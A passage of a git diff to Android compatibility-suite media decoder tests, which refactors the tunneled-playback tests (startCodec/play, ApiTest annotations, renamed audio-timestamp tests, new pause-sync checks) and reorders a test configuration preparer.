operating mode. + */ + public static boolean isTestableCodecInCurrentMode(String name) { + if (name == null) { + return false; + } + if (!isMtsMode()) { + // CTS mode -- test everything + return true; + } + // MTS mode, just the codecs that live in the modules + if (name.startsWith("c2.android.")) { + return true; + } + Log.d(TAG, "Test mode MTS does not test codec " + name); + return false; + } + private TestUtils() { } diff --git a/tests/tests/media/decoder/AndroidTest.xml b/tests/tests/media/decoder/AndroidTest.xml index c7d4550a016..55fe608afdb 100644 --- a/tests/tests/media/decoder/AndroidTest.xml +++ b/tests/tests/media/decoder/AndroidTest.xml @@ -33,6 +33,11 @@ <option name="dynamic-config-name" value="CtsMediaDecoderTestCases" /> <option name="version" value="1.0"/> </target_preparer> + <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher"> + <option name="target" value="device" /> + <option name="config-filename" value="CtsMediaDecoderTestCases" /> + <option name="version" value="1.0"/> + </target_preparer> <target_preparer class="com.android.compatibility.common.tradefed.targetprep.MediaPreparer"> <option name="push-all" value="true" /> <option name="media-folder-name" value="CtsMediaDecoderTestCases-1.1" /> @@ -42,11 +47,6 @@ <option name="cleanup-apks" value="true" /> <option name="test-file-name" value="CtsMediaDecoderTestCases.apk" /> </target_preparer> - <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher"> - <option name="target" value="device" /> - <option name="config-filename" value="CtsMediaDecoderTestCases" /> - <option name="version" value="1.0"/> - </target_preparer> <test class="com.android.tradefed.testtype.AndroidJUnitTest" > <option name="package" value="android.media.decoder.cts" /> <!-- setup can be expensive so limit the number of shards --> diff --git a/tests/tests/media/decoder/src/android/media/decoder/cts/DecodeAccuracyTest.java b/tests/tests/media/decoder/src/android/media/decoder/cts/DecodeAccuracyTest.java index 145cfaf96fd..c9823760671 100644 --- a/tests/tests/media/decoder/src/android/media/decoder/cts/DecodeAccuracyTest.java +++ b/tests/tests/media/decoder/src/android/media/decoder/cts/DecodeAccuracyTest.java @@ -25,7 +25,6 @@ import android.annotation.TargetApi; import android.content.Context; import android.graphics.Bitmap; import android.media.MediaFormat; -import android.media.cts.MediaCodecTunneledPlayer; import android.media.cts.MediaHeavyPresubmitTest; import android.media.cts.TestArgs; import android.os.Environment; diff --git a/tests/tests/media/decoder/src/android/media/decoder/cts/DecodeAccuracyTestBase.java b/tests/tests/media/decoder/src/android/media/decoder/cts/DecodeAccuracyTestBase.java index b97c903997c..d26c45ffd33 100644 --- a/tests/tests/media/decoder/src/android/media/decoder/cts/DecodeAccuracyTestBase.java +++ b/tests/tests/media/decoder/src/android/media/decoder/cts/DecodeAccuracyTestBase.java @@ -16,6 +16,7 @@ package android.media.decoder.cts; import static org.junit.Assert.assertNotNull; +import static org.junit.Assume.assumeTrue; import android.annotation.SuppressLint; import android.annotation.TargetApi; @@ -66,6 +67,7 @@ import com.android.compatibility.common.util.ApiLevelUtil; import com.android.compatibility.common.util.MediaUtils; import org.junit.After; +import org.junit.Assume; import org.junit.Before; import org.junit.Rule; @@ -214,6 +216,8 @@ public class DecodeAccuracyTestBase { return false; } configureVideoFormat(mediaFormat, videoFormat); + Assume.assumeTrue("Decoder " + codecName + " doesn't support format " + mediaFormat, + MediaUtils.supports(codecName, mediaFormat)); setRenderToSurface(surface != null); return createDecoder(mediaFormat) && configureDecoder(surface, mediaFormat); } diff --git a/tests/tests/media/decoder/src/android/media/decoder/cts/DecoderTest.java b/tests/tests/media/decoder/src/android/media/decoder/cts/DecoderTest.java index a424edbd8c5..9926f04378f 100644 --- a/tests/tests/media/decoder/src/android/media/decoder/cts/DecoderTest.java +++ b/tests/tests/media/decoder/src/android/media/decoder/cts/DecoderTest.java @@ -73,6 +73,7 @@ import androidx.test.ext.junit.runners.AndroidJUnit4; import androidx.test.filters.SdkSuppress; import com.android.compatibility.common.util.ApiLevelUtil; +import com.android.compatibility.common.util.ApiTest; import com.android.compatibility.common.util.CddTest; import com.android.compatibility.common.util.DeviceReportLog; import com.android.compatibility.common.util.DynamicConfigDeviceSide; @@ -124,10 +125,10 @@ public class DecoderTest extends MediaTestBase { private static final int CONFIG_MODE_NONE = 0; private static final int CONFIG_MODE_QUEUE = 1; - private static final int CODEC_ALL = 0; // All codecs must support - private static final int CODEC_ANY = 1; // At least one codec must support - private static final int CODEC_DEFAULT = 2; // Default codec must support - private static final int CODEC_OPTIONAL = 3; // Codec support is optional + public static final int CODEC_ALL = 0; // All codecs must support + public static final int CODEC_ANY = 1; // At least one codec must support + public static final int CODEC_DEFAULT = 2; // Default codec must support + public static final int CODEC_OPTIONAL = 3; // Codec support is optional short[] mMasterBuffer; static final String mInpPrefix = WorkDir.getMediaDirString(); @@ -141,8 +142,6 @@ public class DecoderTest extends MediaTestBase { private DisplayManager mDisplayManager; static final Map<String, String> sDefaultDecoders = new HashMap<>(); - private static boolean mIsAtLeastS = ApiLevelUtil.isAtLeast(Build.VERSION_CODES.S); - protected static AssetFileDescriptor getAssetFileDescriptorFor(final String res) throws FileNotFoundException { File inpFile = new File(mInpPrefix + res); @@ -3884,11 +3883,10 @@ public class DecoderTest extends MediaTestBase { Uri mediaUri = Uri.fromFile(new File(mInpPrefix, videoName)); mMediaCodecPlayer.setAudioDataSource(mediaUri, null); mMediaCodecPlayer.setVideoDataSource(mediaUri, null); - assertTrue("MediaCodecPlayer.start() failed!", mMediaCodecPlayer.start()); assertTrue("MediaCodecPlayer.prepare() failed!", mMediaCodecPlayer.prepare()); + mMediaCodecPlayer.startCodec(); - // starts video playback - mMediaCodecPlayer.startThread(); + mMediaCodecPlayer.play(); sleepUntil(() -> mMediaCodecPlayer.getCurrentPosition() > CodecState.UNINITIALIZED_TIMESTAMP && mMediaCodecPlayer.getTimestamp() != null @@ -3921,8 +3919,8 @@ public class DecoderTest extends MediaTestBase { /** * Test tunneled video playback mode with HEVC if supported */ - @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S) @Test + @ApiTest(apis={"android.media.MediaCodecInfo.CodecCapabilities#FEATURE_TunneledPlayback"}) public void testTunneledVideoPlaybackHevc() throws Exception { tunneledVideoPlayback(MediaFormat.MIMETYPE_VIDEO_HEVC, "video_1280x720_mkv_h265_500kbps_25fps_aac_stereo_128kbps_44100hz.mkv"); @@ -3931,8 +3929,8 @@ public class DecoderTest extends MediaTestBase { /** * Test tunneled video playback mode with AVC if supported */ - @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S) @Test + @ApiTest(apis={"android.media.MediaCodecInfo.CodecCapabilities#FEATURE_TunneledPlayback"}) public void testTunneledVideoPlaybackAvc() throws Exception { tunneledVideoPlayback(MediaFormat.MIMETYPE_VIDEO_AVC, "video_480x360_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4"); @@ -3941,8 +3939,8 @@ public class DecoderTest extends MediaTestBase { /** * Test tunneled video playback mode with VP9 if supported */ - @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S) @Test + @ApiTest(apis={"android.media.MediaCodecInfo.CodecCapabilities#FEATURE_TunneledPlayback"}) public void testTunneledVideoPlaybackVp9() throws Exception { tunneledVideoPlayback(MediaFormat.MIMETYPE_VIDEO_VP9, "bbb_s1_640x360_webm_vp9_0p21_1600kbps_30fps_vorbis_stereo_128kbps_48000hz.webm"); @@ -3966,11 +3964,10 @@ public class DecoderTest extends MediaTestBase { Uri mediaUri = Uri.fromFile(new File(mInpPrefix, videoName)); mMediaCodecPlayer.setAudioDataSource(mediaUri, null); mMediaCodecPlayer.setVideoDataSource(mediaUri, null); - assertTrue("MediaCodecPlayer.start() failed!", mMediaCodecPlayer.start()); assertTrue("MediaCodecPlayer.prepare() failed!", mMediaCodecPlayer.prepare()); + mMediaCodecPlayer.startCodec(); - // starts video playback - mMediaCodecPlayer.startThread(); + mMediaCodecPlayer.play(); sleepUntil(() -> mMediaCodecPlayer.getCurrentPosition() > CodecState.UNINITIALIZED_TIMESTAMP && mMediaCodecPlayer.getTimestamp() != null @@ -3990,8 +3987,8 @@ public class DecoderTest extends MediaTestBase { /** * Test tunneled video playback flush with HEVC if supported */ - @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S) @Test + @ApiTest(apis={"android.media.MediaCodecInfo.CodecCapabilities#FEATURE_TunneledPlayback"}) public void testTunneledVideoFlushHevc() throws Exception { testTunneledVideoFlush(MediaFormat.MIMETYPE_VIDEO_HEVC, "video_1280x720_mkv_h265_500kbps_25fps_aac_stereo_128kbps_44100hz.mkv"); @@ -4000,8 +3997,8 @@ public class DecoderTest extends MediaTestBase { /** * Test tunneled video playback flush with AVC if supported */ - @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S) @Test + @ApiTest(apis={"android.media.MediaCodecInfo.CodecCapabilities#FEATURE_TunneledPlayback"}) public void testTunneledVideoFlushAvc() throws Exception { testTunneledVideoFlush(MediaFormat.MIMETYPE_VIDEO_AVC, "video_480x360_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4"); @@ -4010,23 +4007,19 @@ public class DecoderTest extends MediaTestBase { /** * Test tunneled video playback flush with VP9 if supported */ - @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S) @Test + @ApiTest(apis={"android.media.MediaCodecInfo.CodecCapabilities#FEATURE_TunneledPlayback"}) public void testTunneledVideoFlushVp9() throws Exception { testTunneledVideoFlush(MediaFormat.MIMETYPE_VIDEO_VP9, "bbb_s1_640x360_webm_vp9_0p21_1600kbps_30fps_vorbis_stereo_128kbps_48000hz.webm"); } /** - * Test tunneled video peek renders the first frame when on + * Test that the first frame is rendered when video peek is on in tunneled mode. * * TODO(b/182915887): Test all the codecs advertised by the DUT for the provided test content */ private void testTunneledVideoPeekOn(String mimeType, String videoName) throws Exception { - if (!MediaUtils.check(mIsAtLeastS, "testTunneledVideoPeekOn requires Android 12")) { - return; - } - if (!MediaUtils.check(isVideoFeatureSupported(mimeType, FEATURE_TunneledPlayback), "No tunneled video playback codec found for MIME " + mimeType)) { return; @@ -4040,9 +4033,8 @@ public class DecoderTest extends MediaTestBase { Uri mediaUri = Uri.fromFile(new File(mInpPrefix, videoName)); mMediaCodecPlayer.setAudioDataSource(mediaUri, null); mMediaCodecPlayer.setVideoDataSource(mediaUri, null); - assertTrue("MediaCodecPlayer.start() failed!", mMediaCodecPlayer.start()); assertTrue("MediaCodecPlayer.prepare() failed!", mMediaCodecPlayer.prepare()); - mMediaCodecPlayer.start(); + mMediaCodecPlayer.startCodec(); mMediaCodecPlayer.setVideoPeek(true); // Enable video peek // Assert that onFirstTunnelFrameReady is called @@ -4061,30 +4053,30 @@ public class DecoderTest extends MediaTestBase { } /** - * Test tunneled video peek with HEVC renders the first frame when on + * Test that the first frame is rendered when video peek is on for HEVC in tunneled mode. */ - @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S) @Test + @ApiTest(apis={"android.media.MediaCodec#PARAMETER_KEY_TUNNEL_PEEK"}) public void testTunneledVideoPeekOnHevc() throws Exception { testTunneledVideoPeekOn(MediaFormat.MIMETYPE_VIDEO_HEVC, "video_1280x720_mkv_h265_500kbps_25fps_aac_stereo_128kbps_44100hz.mkv"); } /** - * Test tunneled video peek with AVC renders the first frame when on + * Test that the first frame is rendered when video peek is on for AVC in tunneled mode. */ - @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S) @Test + @ApiTest(apis={"android.media.MediaCodec#PARAMETER_KEY_TUNNEL_PEEK"}) public void testTunneledVideoPeekOnAvc() throws Exception { testTunneledVideoPeekOn(MediaFormat.MIMETYPE_VIDEO_AVC, "video_480x360_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4"); } /** - * Test tunneled video peek with VP9 renders the first frame when on + * Test that the first frame is rendered when video peek is on for VP9 in tunneled mode. */ - @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S) @Test + @ApiTest(apis={"android.media.MediaCodec#PARAMETER_KEY_TUNNEL_PEEK"}) public void testTunneledVideoPeekOnVp9() throws Exception { testTunneledVideoPeekOn(MediaFormat.MIMETYPE_VIDEO_VP9, "bbb_s1_640x360_webm_vp9_0p21_1600kbps_30fps_vorbis_stereo_128kbps_48000hz.webm"); @@ -4092,15 +4084,11 @@ public class DecoderTest extends MediaTestBase { /** - * Test tunneled video peek doesn't render the first frame when off and then turned on + * Test that peek off doesn't render the first frame until turned on in tunneled mode. * * TODO(b/182915887): Test all the codecs advertised by the DUT for the provided test content */ private void testTunneledVideoPeekOff(String mimeType, String videoName) throws Exception { - if (!MediaUtils.check(mIsAtLeastS, "testTunneledVideoPeekOff requires Android 12")) { - return; - } - if (!MediaUtils.check(isVideoFeatureSupported(mimeType, FEATURE_TunneledPlayback), "No tunneled video playback codec found for MIME " + mimeType)) { return; @@ -4114,9 +4102,8 @@ public class DecoderTest extends MediaTestBase { Uri mediaUri = Uri.fromFile(new File(mInpPrefix, videoName)); mMediaCodecPlayer.setAudioDataSource(mediaUri, null); mMediaCodecPlayer.setVideoDataSource(mediaUri, null); - assertTrue("MediaCodecPlayer.start() failed!", mMediaCodecPlayer.start()); assertTrue("MediaCodecPlayer.prepare() failed!", mMediaCodecPlayer.prepare()); - mMediaCodecPlayer.start(); + mMediaCodecPlayer.startCodec(); mMediaCodecPlayer.setVideoPeek(false); // Disable video peek // Assert that onFirstTunnelFrameReady is called @@ -4142,75 +4129,40 @@ public class DecoderTest extends MediaTestBase { } /** - * Test tunneled video peek with HEVC doesn't render the first frame when off and then turned on + * Test that peek off doesn't render the first frame until turned on for HEC in tunneled mode. */ - @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S) @Test + @ApiTest(apis={"android.media.MediaCodec#PARAMETER_KEY_TUNNEL_PEEK"}) public void testTunneledVideoPeekOffHevc() throws Exception { testTunneledVideoPeekOff(MediaFormat.MIMETYPE_VIDEO_HEVC, "video_1280x720_mkv_h265_500kbps_25fps_aac_stereo_128kbps_44100hz.mkv"); } /** - * Test tunneled video peek with AVC doesn't render the first frame when off and then turned on + * Test that peek off doesn't render the first frame until turned on for AVC in tunneled mode. */ - @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S) @Test + @ApiTest(apis={"android.media.MediaCodec#PARAMETER_KEY_TUNNEL_PEEK"}) public void testTunneledVideoPeekOffAvc() throws Exception { testTunneledVideoPeekOff(MediaFormat.MIMETYPE_VIDEO_AVC, "video_480x360_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4"); } /** - * Test tunneled video peek with VP9 doesn't render the first frame when off and then turned on + * Test that peek off doesn't render the first frame until turned on for VP9 in tunneled mode. */ - @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S) @Test + @ApiTest(apis={"android.media.MediaCodec#PARAMETER_KEY_TUNNEL_PEEK"}) public void testTunneledVideoPeekOffVp9() throws Exception { testTunneledVideoPeekOff(MediaFormat.MIMETYPE_VIDEO_VP9, "bbb_s1_640x360_webm_vp9_0p21_1600kbps_30fps_vorbis_stereo_128kbps_48000hz.webm"); } - /** - * Test tunneled audio PTS gaps with HEVC if supported. - * If there exist PTS Gaps in AudioTrack playback, the framePosition returned by - * AudioTrack#getTimestamp must not advance for any silent frames rendered to fill the - * gap. - */ - @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S) - @Test - public void testTunneledAudioPtsGapsHevc() throws Exception { - testTunneledAudioPtsGaps(MediaFormat.MIMETYPE_VIDEO_HEVC, - "video_1280x720_mkv_h265_500kbps_25fps_aac_stereo_128kbps_44100hz.mkv"); - } - - /** - * Test tunneled audio PTS gaps with AVC if supported - * If there exist PTS Gaps in AudioTrack playback, the framePosition returned by - * AudioTrack#getTimestamp must not advance for any silent frames rendered to fill the - * gap. - */ - @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S) - @Test - public void testTunneledAudioPtsGapsAvc() throws Exception { - testTunneledAudioPtsGaps(MediaFormat.MIMETYPE_VIDEO_AVC, - "video_480x360_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4"); - } - - /** - * Test tunneled audio PTS gaps with VP9 if supported - * If there exist PTS Gaps in AudioTrack playback, the framePosition returned by - * AudioTrack#getTimestamp must not advance for any silent frames rendered to fill the - * gap. - */ - @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S) - @Test - public void testTunneledAudioPtsGapsVp9() throws Exception { - testTunneledAudioPtsGaps(MediaFormat.MIMETYPE_VIDEO_VP9, - "bbb_s1_640x360_webm_vp9_0p21_1600kbps_30fps_vorbis_stereo_128kbps_48000hz.webm"); - } - - private void testTunneledAudioPtsGaps(String mimeType, String fileName) throws Exception { + /** + * Test that audio timestamps don't progress during audio PTS gaps in tunneled mode. + */ + private void testTunneledAudioProgressWithPtsGaps(String mimeType, String fileName) + throws Exception { if (!MediaUtils.check(isVideoFeatureSupported(mimeType, FEATURE_TunneledPlayback), "No tunneled video playback codec found for MIME " + mimeType)) { return; @@ -4224,11 +4176,10 @@ public class DecoderTest extends MediaTestBase { final Uri mediaUri = Uri.fromFile(new File(mInpPrefix, fileName)); mMediaCodecPlayer.setAudioDataSource(mediaUri, null); mMediaCodecPlayer.setVideoDataSource(mediaUri, null); - assertTrue("MediaCodecPlayer.start() failed!", mMediaCodecPlayer.start()); assertTrue("MediaCodecPlayer.prepare() failed!", mMediaCodecPlayer.prepare()); + mMediaCodecPlayer.startCodec(); - // starts video playback - mMediaCodecPlayer.startThread(); + mMediaCodecPlayer.play(); sleepUntil(() -> mMediaCodecPlayer.getCurrentPosition() > CodecState.UNINITIALIZED_TIMESTAMP && mMediaCodecPlayer.getTimestamp() != null @@ -4291,37 +4242,40 @@ public class DecoderTest extends MediaTestBase { } /** - * Test tunneled audioTimestamp progress with underrun, with HEVC if supported + * Test that audio timestamps don't progress during audio PTS gaps for HEVC in tunneled mode. */ - @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S) @Test - public void testTunneledAudioTimestampProgressWithUnderrunHevc() throws Exception { - testTunneledAudioTimestampProgressWithUnderrun(MediaFormat.MIMETYPE_VIDEO_HEVC, + @ApiTest(apis={"android.media.MediaCodecInfo.CodecCapabilities#FEATURE_TunneledPlayback"}) + public void testTunneledAudioProgressWithPtsGapsHevc() throws Exception { + testTunneledAudioProgressWithPtsGaps(MediaFormat.MIMETYPE_VIDEO_HEVC, "video_1280x720_mkv_h265_500kbps_25fps_aac_stereo_128kbps_44100hz.mkv"); } /** - * Test tunneled audioTimestamp progress with underrun, with AVC if supported. + * Test that audio timestamps don't progress during audio PTS gaps for AVC in tunneled mode. */ - @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S) @Test - public void testTunneledAudioTimestampProgressWithUnderrunAvc() throws Exception { - testTunneledAudioTimestampProgressWithUnderrun(MediaFormat.MIMETYPE_VIDEO_AVC, + @ApiTest(apis={"android.media.MediaCodecInfo.CodecCapabilities#FEATURE_TunneledPlayback"}) + public void testTunneledAudioProgressWithPtsGapsAvc() throws Exception { + testTunneledAudioProgressWithPtsGaps(MediaFormat.MIMETYPE_VIDEO_AVC, "video_480x360_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4"); } /** - * Test tunneled audioTimestamp progress with underrun, with VP9 if supported. + * Test that audio timestamps don't progress during audio PTS gaps for VP9 in tunneled mode. */ - @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S) @Test - public void testTunneledAudioTimestampProgressWithUnderrunVp9() throws Exception { - testTunneledAudioTimestampProgressWithUnderrun(MediaFormat.MIMETYPE_VIDEO_VP9, + @ApiTest(apis={"android.media.MediaCodecInfo.CodecCapabilities#FEATURE_TunneledPlayback"}) + public void testTunneledAudioProgressWithPtsGapsVp9() throws Exception { + testTunneledAudioProgressWithPtsGaps(MediaFormat.MIMETYPE_VIDEO_VP9, "bbb_s1_640x360_webm_vp9_0p21_1600kbps_30fps_vorbis_stereo_128kbps_48000hz.webm"); } - private void testTunneledAudioTimestampProgressWithUnderrun( - String mimeType, String fileName) throws Exception { + /** + * Test that audio timestamps stop progressing during underrun in tunneled mode. + */ + private void testTunneledAudioProgressWithUnderrun(String mimeType, String fileName) + throws Exception { if (!MediaUtils.check(isVideoFeatureSupported(mimeType, FEATURE_TunneledPlayback), "No tunneled video playback codec found for MIME " + mimeType)) { return; @@ -4335,11 +4289,10 @@ public class DecoderTest extends MediaTestBase { final Uri mediaUri = Uri.fromFile(new File(mInpPrefix, fileName)); mMediaCodecPlayer.setAudioDataSource(mediaUri, null); mMediaCodecPlayer.setVideoDataSource(mediaUri, null); - assertTrue("MediaCodecPlayer.start() failed!", mMediaCodecPlayer.start()); assertTrue("MediaCodecPlayer.prepare() failed!", mMediaCodecPlayer.prepare()); + mMediaCodecPlayer.startCodec(); - // starts video playback - mMediaCodecPlayer.startThread(); + mMediaCodecPlayer.play(); sleepUntil(() -> mMediaCodecPlayer.getCurrentPosition() > CodecState.UNINITIALIZED_TIMESTAMP && mMediaCodecPlayer.getTimestamp() != null @@ -4380,9 +4333,39 @@ public class DecoderTest extends MediaTestBase { } /** - * Test accurate video rendering after a video MediaCodec flush. + * Test that audio timestamps stop progressing during underrun for HEVC in tunneled mode. + */ + @Test + @ApiTest(apis={"android.media.MediaCodecInfo.CodecCapabilities#FEATURE_TunneledPlayback"}) + public void testTunneledAudioProgressWithUnderrunHevc() throws Exception { + testTunneledAudioProgressWithUnderrun(MediaFormat.MIMETYPE_VIDEO_HEVC, + "video_1280x720_mkv_h265_500kbps_25fps_aac_stereo_128kbps_44100hz.mkv"); + } + + /** + * Test that audio timestamps stop progressing during underrun for AVC in tunneled mode. + */ + @Test + @ApiTest(apis={"android.media.MediaCodecInfo.CodecCapabilities#FEATURE_TunneledPlayback"}) + public void testTunneledAudioProgressWithUnderrunAvc() throws Exception { + testTunneledAudioProgressWithUnderrun(MediaFormat.MIMETYPE_VIDEO_AVC, + "video_480x360_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4"); + } + + /** + * Test that audio timestamps stop progressing during underrun for VP9 in tunneled mode. + */ + @Test + @ApiTest(apis={"android.media.MediaCodecInfo.CodecCapabilities#FEATURE_TunneledPlayback"}) + public void testTunneledAudioProgressWithUnderrunVp9() throws Exception { + testTunneledAudioProgressWithUnderrun(MediaFormat.MIMETYPE_VIDEO_VP9, + "bbb_s1_640x360_webm_vp9_0p21_1600kbps_30fps_vorbis_stereo_128kbps_48000hz.webm"); + } + + /** + * Test accurate video rendering after a flush in tunneled mode. * - * On some devices, queuing content when the player is paused, then triggering a flush, then + * Test On some devices, queuing content when the player is paused, then triggering a flush, then * queuing more content does not behave as expected. The queued content gets lost and the flush * is really only applied once playback has resumed. * @@ -4390,10 +4373,6 @@ public class DecoderTest extends MediaTestBase { */ private void testTunneledAccurateVideoFlush(String mimeType, String videoName) throws Exception { - if (!MediaUtils.check(mIsAtLeastS, "testTunneledAccurateVideoFlush requires Android 12")) { - return; - } - if (!MediaUtils.check(isVideoFeatureSupported(mimeType, FEATURE_TunneledPlayback), "No tunneled video playback codec found for MIME " + mimeType)) { return; @@ -4414,15 +4393,14 @@ public class DecoderTest extends MediaTestBase { Uri mediaUri = Uri.fromFile(new File(mInpPrefix, videoName)); mMediaCodecPlayer.setAudioDataSource(mediaUri, null); mMediaCodecPlayer.setVideoDataSource(mediaUri, null); - assertTrue("MediaCodecPlayer.start() failed!", mMediaCodecPlayer.start()); assertTrue("MediaCodecPlayer.prepare() failed!", mMediaCodecPlayer.prepare()); + mMediaCodecPlayer.startCodec(); // Video peek might interfere with the test: we want to ensure that queuing more data during // a pause does not cause displaying more video frames, which is precisely what video peek // does. mMediaCodecPlayer.setVideoPeek(false); - // starts video playback - mMediaCodecPlayer.startThread(); + mMediaCodecPlayer.play(); sleepUntil(() -> mMediaCodecPlayer.getCurrentPosition() > CodecState.UNINITIALIZED_TIMESTAMP && mMediaCodecPlayer.getTimestamp() != null @@ -4434,22 +4412,72 @@ public class DecoderTest extends MediaTestBase { assertNotEquals("Audio timestamp has a zero frame position", mMediaCodecPlayer.getTimestamp().framePosition, 0); + // Allow some time for playback to commence + Thread.sleep(500); + // Pause playback mMediaCodecPlayer.pause(); - // Allow some time for playback to pause - Thread.sleep(maxDrainTimeMs); - - // Verify that playback has paused - long pauseAudioFramePositionUs = mMediaCodecPlayer.getTimestamp().framePosition; - long pauseVideoPositionUs = mMediaCodecPlayer.getVideoTimeUs(); - Thread.sleep(maxDrainTimeMs); - assertEquals(mMediaCodecPlayer.getTimestamp().framePosition, pauseAudioFramePositionUs); + + // Wait for audio to pause + AudioTimestamp pauseAudioTimestamp; + { + AudioTimestamp currentAudioTimestamp = mMediaCodecPlayer.getTimestamp(); + long startTimeMs = System.currentTimeMillis(); + do { + // If it takes longer to pause, the UX won't feel responsive to the user + int audioPauseTimeoutMs = 250; + assertTrue(String.format("No audio pause after %d milliseconds", + audioPauseTimeoutMs), + System.currentTimeMillis() - startTimeMs < audioPauseTimeoutMs); + pauseAudioTimestamp = currentAudioTimestamp; + Thread.sleep(50); + currentAudioTimestamp = mMediaCodecPlayer.getTimestamp(); + } while (currentAudioTimestamp.framePosition != pauseAudioTimestamp.framePosition); + } + long pauseAudioSystemTimeMs = pauseAudioTimestamp.nanoTime / 1000 / 1000; + + // Wait for video to pause + long pauseVideoSystemTimeNs; + long pauseVideoPositionUs; + { + long currentVideoSystemTimeNs = mMediaCodecPlayer.getCurrentRenderedSystemTimeNano(); + long startTimeMs = System.currentTimeMillis(); + do { + int videoUnderrunTimeoutMs = 2000; + assertTrue(String.format("No video pause after %d milliseconds", + videoUnderrunTimeoutMs), + System.currentTimeMillis() - startTimeMs < videoUnderrunTimeoutMs); + pauseVideoSystemTimeNs = currentVideoSystemTimeNs; + Thread.sleep(250); // onFrameRendered can get delayed in the Framework + currentVideoSystemTimeNs = mMediaCodecPlayer.getCurrentRenderedSystemTimeNano(); + } while (currentVideoSystemTimeNs != pauseVideoSystemTimeNs); + pauseVideoPositionUs = mMediaCodecPlayer.getVideoTimeUs(); + } + long pauseVideoSystemTimeMs = pauseVideoSystemTimeNs / 1000 / 1000; + + // Video should not continue running for a long period of time after audio pauses + long pauseVideoToleranceMs = 500; + assertTrue(String.format( + "Video ran %d milliseconds longer than audio (video:%d audio:%d)", + pauseVideoToleranceMs, pauseVideoSystemTimeMs, pauseAudioSystemTimeMs), + pauseVideoSystemTimeMs - pauseAudioSystemTimeMs < pauseVideoToleranceMs); + + // Verify that playback stays paused + Thread.sleep(500); + assertEquals(mMediaCodecPlayer.getTimestamp().framePosition, pauseAudioTimestamp.framePosition); + assertEquals(mMediaCodecPlayer.getCurrentRenderedSystemTimeNano(), pauseVideoSystemTimeNs); assertEquals(mMediaCodecPlayer.getVideoTimeUs(), pauseVideoPositionUs); - // Verify audio and video are in sync - assertTrue(String.format("Video pts (%d) is ahead of audio pts (%d)", - pauseVideoPositionUs, pauseAudioFramePositionUs), - pauseVideoPositionUs <= pauseAudioFramePositionUs); + // Verify audio and video are roughly in sync when paused + long framePosition = mMediaCodecPlayer.getTimestamp().framePosition; + long playbackRateFps = mMediaCodecPlayer.getAudioTrack().getPlaybackRate(); + long pauseAudioPositionMs = pauseAudioTimestamp.framePosition * 1000 / playbackRateFps; + long pauseVideoPositionMs = pauseVideoPositionUs / 1000; + long deltaMs = pauseVideoPositionMs - pauseAudioPositionMs; + assertTrue(String.format( + "Video is %d milliseconds out of sync from audio (video:%d audio:%d)", + deltaMs, pauseVideoPositionMs, pauseAudioPositionMs), + deltaMs > -80 && deltaMs < pauseVideoToleranceMs); // Flush both audio and video pipelines mMediaCodecPlayer.flush(); @@ -4493,8 +4521,8 @@ public class DecoderTest extends MediaTestBase { /** * Test accurate video rendering after a video MediaCodec flush with HEVC if supported */ - @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S) @Test + @ApiTest(apis={"android.media.MediaCodecInfo.CodecCapabilities#FEATURE_TunneledPlayback"}) public void testTunneledAccurateVideoFlushHevc() throws Exception { testTunneledAccurateVideoFlush(MediaFormat.MIMETYPE_VIDEO_HEVC, "video_1280x720_mkv_h265_500kbps_25fps_aac_stereo_128kbps_44100hz.mkv"); @@ -4503,8 +4531,8 @@ public class DecoderTest extends MediaTestBase { /** * Test accurate video rendering after a video MediaCodec flush with AVC if supported */ - @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S) @Test + @ApiTest(apis={"android.media.MediaCodecInfo.CodecCapabilities#FEATURE_TunneledPlayback"}) public void testTunneledAccurateVideoFlushAvc() throws Exception { testTunneledAccurateVideoFlush(MediaFormat.MIMETYPE_VIDEO_AVC, "video_480x360_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4"); @@ -4513,49 +4541,18 @@ public class DecoderTest extends MediaTestBase { /** * Test accurate video rendering after a video MediaCodec flush with VP9 if supported */ - @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S) @Test + @ApiTest(apis={"android.media.MediaCodecInfo.CodecCapabilities#FEATURE_TunneledPlayback"}) public void testTunneledAccurateVideoFlushVp9() throws Exception { testTunneledAccurateVideoFlush(MediaFormat.MIMETYPE_VIDEO_VP9, "bbb_s1_640x360_webm_vp9_0p21_1600kbps_30fps_vorbis_stereo_128kbps_48000hz.webm"); } /** - * Test tunneled audioTimestamp progress with HEVC if supported + * Test that audio timestamps stop progressing during pause in tunneled mode. */ - @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S) - @Test - public void testTunneledAudioTimestampProgressHevc() throws Exception { - testTunneledAudioTimestampProgress(MediaFormat.MIMETYPE_VIDEO_HEVC, - "video_1280x720_mkv_h265_500kbps_25fps_aac_stereo_128kbps_44100hz.mkv"); - } - - /** - * Test tunneled audioTimestamp progress with AVC if supported - */ - @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S) - @Test - public void testTunneledAudioTimestampProgressAvc() throws Exception { - 